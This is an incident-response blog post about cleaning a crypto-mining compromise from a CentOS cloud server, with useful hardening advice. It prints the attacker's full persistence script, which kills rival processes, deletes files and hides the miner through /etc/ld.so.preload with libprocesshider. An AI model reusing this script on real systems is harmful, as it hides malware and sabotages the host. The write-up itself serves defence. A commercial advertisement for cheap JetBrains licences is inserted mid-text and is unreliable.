In the following text, locking files and directories refers to adding certain attributes to files and directories, such as read-only. chattr +ia
1. Symptoms of Server Breach
Recently, a friend’s server (he set up a website himself) seemed to have been breached, with symptoms including: the server’s CPU resources being at 100% for an extended period, and high load. The services on the server could not operate normally.
My friend tried to resolve it for a while but couldn’t. I thought to myself, I’m not in security, how could I help? But my friend offered a high price: a meal at Haidilao, and I bowed to life and reality. I started to take a look.
2. Server Investigation and Handling
2.1 Possible Reasons for the Server Breach
-
The server’s SSH password was set too simply. -
The Tencent Cloud security group range was set too broadly. -
Using Baota, and the password for the Baota panel was also too simple (this should not be the entry point for the breach).
2.2 Investigation and Handling Steps
1. ps -ef / top to find the service occupying the most processes.
Problem symptom:
The ps/top command has been replaced.
2. Look for detailed traces of the breach using last or grep ‘Accepted’ /var/log/secure.
Problem symptom:
[root@VM-12-12-centos ~]# grep 'Accepted' /var/log/secure
Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2
Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534 ssh2
Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548 ssh2
Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690 ssh2
Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl8
Lighthouse Tencent Cloud lightweight server
Here we can see that there are some foreign IPs like 34.215.138.2 that logged in successfully. These IPs are not our normal logins. In the /var/log/secure log, I saw IP 34.215.138.2 attempting to log in nearly 500 times before successfully cracking the password.
Handling Measures
Here we immediately took the first measure,
-
Restricted SSH login IP in Tencent Cloud security group; previously, the security group allowed all IPs for SSH.
-
Changed the SSH ROOT password.
-
Backed up /root/.ssh/authorized_keys and cleared it.
[root@VM-12-12-centos ~]# cp -rp /root/.ssh/authorized_keys /root/.ssh/authorized_keys.bak
cp: cannot create regular file ‘/root/.ssh/authorized_keys.bak’: Permission denied
At this point, we encountered a permission issue. This will be discussed later. Since we have already restricted the source IP, we can handle this later.
3. Check for recently added users.
Problem symptom:
cat /etc/passwd
Handling Measures
Lock the user.
[root@VM-12-12-centos ~]# usermod -L sys1
4. I do not plan to find the process (I am already setting up a new machine with the same version to copy the top and ps commands, which will take a little while. We can take this time to look at others), because my friend had restarted the server before and found that the server would have a high load a while after starting. I believe the intruder must have set some scheduled tasks and startup scripts in there. (By the way, if you need to activate the genuine JetBrains suite, you can contact me. It’s 56 yuan a year, genuine authorization, and you can check the validity period on the official website. If needed, add me on WeChat: poxiaozhiai6, note: 914.)
Problem symptom:
Scheduled tasks.
Crond reads configuration files from the following paths:
-
/var/spool/cron/, written by crontab -e, no need to specify the user for the configuration file. -
/etc/crontab, can only be edited by root, configuration file must specify the user. -
/etc/cron.d/, create scheduled task files in this folder, configuration file must specify the user. -
/etc/cron.*
/var/spool/cron/ not found (this will be discussed later as there is a diversion here).
/etc/crontab not found (this will be discussed later as there is a diversion here).
However, I have been seeing tasks executed in /var/log/cron every 5 minutes.
Aug 27 22:00:01 VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )
Aug 27 22:00:01 VM-12-12-centos CROND[16840]: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1)
Aug 27 22:00:01 VM-12-12-centos CROND[16842]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )
Aug 27 22:05:01 VM-12-12-centos CROND[17486]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )
Aug 27 22:05:01 VM-12-12-centos CROND[17487]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )
Handling Measures
Here we first performed the operation of deleting /usr/lib/mysql/mysql and /sbin/httpss. When deleting, there was still a permission prompt. We know these files should be locked, so I started to unlock them, and we found that chattr had also been replaced and locked, so we couldn’t operate further.
Startup script:
/etc/rc.local, we also found a script.
[root@VM-12-12-centos ~]# cat /etc/rc.local
#!/bin/bash
# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
#
# It is highly advisable to create own systemd services or udev rules
to run scripts during boot instead of using this file.
#
# In contrast to previous versions due to parallel execution during boot
# this script will NOT be run after all other services.
#
# Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
# that this script will be executed during boot.
/usr/bin/0f4f80f9ab start
But this file seems to be nonexistent, so we commented this out.
5. Restore the modified top, ps, chattr, lsattr.
-
First, we copied chattr and lsattr from a machine with the same version, we had to operate this first because our top and ps were locked.
-
I uploaded the files to the /tmp directory, then added executable permissions, and then first unlocked /usr/bin/chattr.
/tmp/chattr -ai /usr/bin/chattr
-
After executing, we still found we couldn’t replace /usr/bin/chattr. It took a while to realize that the intruder had likely not only locked the file but also locked /usr/bin/.
-
Unlock the directory.
/tmp/chattr -ai /usr/bin/
-
Now we can replace /usr/bin/chattr.
-
Following this, we restored top, ps, and lsattr.
Partial screenshots:
3. Lessons Learned from This Breach
1. ps, top, chattr, lsattr
In scenarios where these commands have been replaced and we cannot restore them, we can copy the same version commands from another machine to different directories and use these commands to unlock files that the intruder has replaced and locked. Note that some intruders not only lock at the file level but also at the directory level of the current file. I was confused about this for a while.
2. Hidden file contents.
In the previous text, I executed crontab -l and cat to view the files under /etc/cron.d/. I found the files had no content.
In fact, I don’t know what special characters were used or what was hidden; there are indeed scheduled tasks present.
Example:
This configuration is how it led to cat/more being unable to view it. I looked again today, and this file may have been treated as a data file because I checked the file type and it was data. Then the file contained special characters that caused it to be hidden.
3. One of the scripts.
[root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464
#!/bin/sh
while test 1 = 1
do
sleep 30
pkill -f main
killall main
killall sprshduerjsaia
pkill -f sprshduerjsaia
killall dr64
pkill -f dr64
killall .report_system
pkill -f .report_system
killall sshc
pkill -f sshc
pkill -f memory
killall memory
killall warmup
killall koko
killall kthreaddk
killall systemc
killall cront
killall xm64_linux
pkill -f dos32
pkill -f dos64
pkill -f .name
pkill -f /usr/sbin/dbus
pkill -f systemd-boot-check-no-failures
killall .report_system
pkill -f .report_system
pkill -f keep-alive
pkill -f linu
pkill -f zapppp
killall [scan]
killall [ext4]
pkill -f xm64_linux
pkill -f ddrirc
killall ./-bash
pkill -f ./-bash
killall kworkers
killall dbus
pkill -f biden1
pkill -f cpuminer-sse2
killall work64
pkill -f work64
killall work32
pkill -f work32
killall aarch12
pkill -f aarch12
killall bash1
pkill -f bash1
killall intelshell
pkill -f intelshell
killall heaven
pkill -f heaven
killall .syst3md
pkill -f .syst3md
killall apachelogs
killall .meinkampf
pkill -f .meinkampf
killall xri
pkill -f xri
killall koko
pkill -f koko
killall work32-deamon
pkill -f work32-deamon
killall work64 -deamon
pkill -f work64 -deamon
killall secure.sh
pkill -f secure.sh
kkillall auth.sh
pkill -f auth.sh
killall autoupdate
pkill -f kworkers
pkill -f autoupdate
killall ld-linux
pkill -f ld-linux
pkill -9 Donald
killall -9 Donald
pkill -f /usr/local/bin/pnscan
pkill -f /usr/bin/biden1
killall /usr/bin/biden1
killall r
killall trace
pkill -f minerd
killall minerd
pkill -f xm64
killall xm64
pkill -f sysdm
killall sysdm
pkill -f syst3md
killall syst3md
pkill -f xrig
killall xrig
pkill -f busybox
killall busybox
pkill -f joseph
killall joseph
pkill -f osama
killall osama
killall daemon
pkill -f obama1
killall obama1
pkill -f kswapd0
killall kswapd0
pkill -f jehgms
killall jehgms
pkill -f tsm
killall tsm
pkill -f rig
killall rig
pkill -f xmr
killall xmr
pkill -f playstation
killall playstation
pkill -f ld-linux-x86-64
killall ld-linux-x86-64
pkill -f ruckusapd
killall ruckusapd
pkill -f run64
killall run64
pkill -f pwnrig
killall pwnrig
pkill -f phpupdate
killall phpupdate
pkill -f sysupdate
killall sysupdate
pkill -f phpguard
killall phpguard
pkill -f firstpress
killall firstpress
pkill -f zerocert
killall zerocert
pkill -f masscan
killall masscan
pkill -f -bash
pkill -f spreadQlmnop
killall spreadQlmnop
killall -bash
pkill -f cnrig
killall cnrig
pkill -f netvhost
killall netvhost
pkill -f kthreadds
killall kthreadds
pkill -f kthreadd
killall kthreadd
pkill -f kdevtmpfsi
killall kdevtmpfsi
pkill -f linuxservice
killall linuxservice
pkill -f rtmonitor
killall rtmonitor
pkill -f dev
killall dev
pkill -f xmrig
killall xmrig
pkill -f master
killall master
killall sysmd
pkill -f sysmd
pkill -f sendmail
killall sendmail
pkill -f ld-musl-x86_64.
killall ld-musl-x86_64.
killall watchdog
pkill -f watchdog
pkill -f 32678
killall 32678
killall dhpcd
pkill -f dhpcd
killall linux_amd64
pkill -f linux_amd64
killall xredis
pkill -f xredis
killall Linux2.6
killall .chornyd
pkill -f .chornyd
killall Opera
pkill -f Opera
killall libertyd
pkill -f libertyd
killall rcubind
pkill -f rcubind
killall clamscan
pkill -f clamscan
killall pnscan
pkill -f pnscan
killall zzh
pkill -f zzh
killall bioser
pkill -f bioser
rm -rf /root/.configrc/
rm -rf /tmp/.X26-unix/
rm -rf /tmp/.bash/
rm -rf /root/.bash/
rm -rf /root/.cache/
rm -rf /tmp/.cache/
rm -rf /dev/shm/.ssh/
rm -rf /etc/.etcservice/linuxservice
rm -rf /etc/.vhost/netvhost
rm -rf /tmp/up.txt
rm -rf /var/tmp/.update/
rm -rf /var/tmp/.systemd/
rm -rf /usr/sbin/.bash./.bash/
rm -rf /etc/master
rm -rf /usr/bin/busybox
rm -rf /bin/sysmd
rm -rf /tmp/.mx/
rm -rf /dev/shm/.mx/
rm -rf /usr/bin/xrig
rm -rf /etc/32678
rm -rf /root/c3pool/
rm -rf /usr/bin/.sshd/
rm -rf /tmp/div
systemctl stop c3pool_miner.service
systemctl stop pwnriglhttps.service
systemctl stop cryto
systemctl stop scan
systemctl stop bot
systemctl stop myservice.service
systemctl stop netns.service
systemctl stop cryptsetup.service
echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload
lockr +ai /etc/ld.so.preload >/dev/null 2>&1
chmod 777 /usr/lib/mysql/*
/usr/lib/mysql/./mysql
done
We can see that this script is actually continuously changing the contents of /etc/ld.so.preload. It is also shutting down some scanning software and system services.
In the Linux operating system’s dynamic link library loading process, the dynamic linker reads the value of the LD_PRELOAD environment variable and the contents of the default configuration file /etc/ld.so.preload, and the dynamically linked libraries read will be preloaded, even if the program does not depend on these dynamically linked libraries. The LD_PRELOAD environment variable and the /etc/ld.so.preload configuration file specify the dynamically linked libraries that will be loaded first, which have a higher priority than the files defined in the LD_LIBRARY_PATH environment variable search path, allowing them to be loaded before the user-called dynamic libraries. — This paragraph is quoted from “Beware of Backdoors Exploiting Linux Preloaded Malicious Dynamic Libraries”
I have deleted the /usr/local/lib/libprocesshider.so file. After that, every time I execute a command, I get this error.
After clearing the file /etc/ld.so.preload, I found that it was good for a while, but it appeared again. I checked the /etc/ld.so.preload file and found that it had written /usr/local/lib/libprocesshider.so again. I suspected there were still scheduled tasks, but after searching for a while, I still couldn’t find them. Later, when checking for abnormal processes, I saw this process.
I found that this script was continuously executing the above content. After killing this process, I deleted the script.
4. Some Insights from This Server Breach
1. Make good use of the cloud provider’s security groups. For some critical ports, try to minimize the rules.
2. Increase the complexity of passwords related to the server.
3. Increase monitoring of some key files. (Monitor md5 values through monitoring software)
-
/etc/passwd -
/etc/shadow -
/etc/group -
/root/.bash_history -
/root/.ssh/authorized_keys -
/etc/ssh/sshd_config -
/etc/profile -
/var/spool/cron/root -
/etc/crontab -
/etc/ld.so.preload -
/etc/rc.local -
lsof -
ps -
netstat -
top -
ls -
pstree -
last -
history -
sudo -
password -
chattr -
lsattr
4. After a server breach, we need to consider the best way to handle it.
https://cloud.tencent.com/document/product/296/9604 https://help.aliyun.com/document_detail/40994.htm?spm=a2c4g.11186623.0.0.75c56956NVPBST
-
If the server has SSH remote login open, you can set restrictions on login (security groups or services), only allowing your own IP. Look for detailed traces of the breach using last or grep ‘Accepted’ /var/log/secure.
Check files like /root/.ssh/authorized_keys and /etc/passwd. Lock some newly created users.
-
If the server can close the external network, do so. Set it at the security group level or via routing or NAT.
-
First, check whether the ps/top commands have been tampered with. If they have, copy them from other normal machines to the server. Then check for abnormal processes. Also, check whether /etc/ld.so.preload has been tampered with. If it has, remember to clear the contents and delete or rename the corresponding files.
If you encounter issues with files that cannot be deleted or modified, you need to use chattr -ia filename. If chattr has also been tampered with, you need to copy it from another machine and restore it.
-
If the above steps do not yield results, you can indirectly check for abnormal connections through netstat to query abnormal processes.
-
Check startup and crontab-related content.
-
Check for abnormal processes.
That concludes the handling process of this breach and some insights gained. I will continue to update with any new information.
Original link: cnblogs.com/operationhome/p/16637763.html
Author: Free Life in Chaos